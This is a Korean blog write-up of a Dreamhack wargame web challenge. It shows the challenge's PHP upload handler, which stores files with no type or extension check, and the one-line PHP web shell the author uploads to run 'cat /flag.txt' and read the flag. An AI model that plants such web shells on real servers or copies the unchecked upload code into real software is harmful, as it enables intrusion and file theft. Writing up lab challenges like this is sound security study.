[dreamhack] image-storage

Monitor In Secure☃️·2024년 4월 3일

wargame_web

목록 보기
9/14

(Home채널일 때)

(List채널일 때)

(Upload채널일 때)

-> 파일 업로드할 수 있는 페이지가 있는 것을 보아하니 아마도 파일 업로드 취약점이 존재할 것으로 예상된다.
제공한 파일 중 upload.php파일이 있어 확인해보았다.

<?php
  if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES)) {
      $directory = './uploads/';
      $file = $_FILES["file"];
      $error = $file["error"];
      $name = $file["name"];
      $tmp_name = $file["tmp_name"];
     
      if ( $error > 0 ) {
        echo "Error: " . $error . "<br>";
      }else {
        if (file_exists($directory . $name)) {
          echo $name . " already exists. ";
        }else {
          if(move_uploaded_file($tmp_name, $directory . $name)){
            echo "Stored in: " . $directory . $name;
          }
        }
      }
    }else {
        echo "Error !";
    }
    die();
  }
?>
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Image Storage</title>
</head>
<body>
    <!-- Fixed navbar -->
    <nav class="navbar navbar-default navbar-fixed-top">
      <div class="container">
        <div class="navbar-header">
          <a class="navbar-brand" href="/">Image Storage</a>
        </div>
        <div id="navbar">
          <ul class="nav navbar-nav">
            <li><a href="/">Home</a></li>
            <li><a href="/list.php">List</a></li>
            <li><a href="/upload.php">Upload</a></li>
          </ul>
        </div><!--/.nav-collapse -->
      </div>
    </nav><br/><br/><br/>
    <div class="container">
      <form enctype='multipart/form-data' method="POST">
        <div class="form-group">
          <label for="InputFile">파일 업로드</label>
          <input type="file" id="InputFile" name="file">
        </div>
        <input type="submit" class="btn btn-default" value="Upload">
      </form>
    </div> 
</body>
</html>

해당 파일 코드를 통해 upload는 단순히 업로드하는 파일의 정보를 저장하고 파일 존재 여부 등만 확인하여 파일 업로드 취약점이 존재한다는 것을 알 수 있다.

문제에서도 나와있듯이 플래그는 /flag.txt 에 존재하기 때문에 system함수와 cat명령어를 이용하여 간단한 웹쉘코드를 작성해보았다.

<?php
	system("cat /flag.txt")
?>

여기서 업로드만 하면 출력되는줄 알았는데, 위 캡쳐본처럼만 출력되었다. list 채널에 업로드한 것이 존재하여 그쪽에서 확인하는 것임을 구글링을 통해 확인하였다..ㅎ (처음에 본 리스트 화면은 파일 업로드가 아무것도 되어있지 않았기 때문에 그런 화면이 뜬 것이다..)

여기 list를 클릭해보면 업로드한 파일이 목록처럼 나타난 것을 확인할 수 있다.

클릭해보니 플래그값이 있는 것을 확인해보았다.

0개의 댓글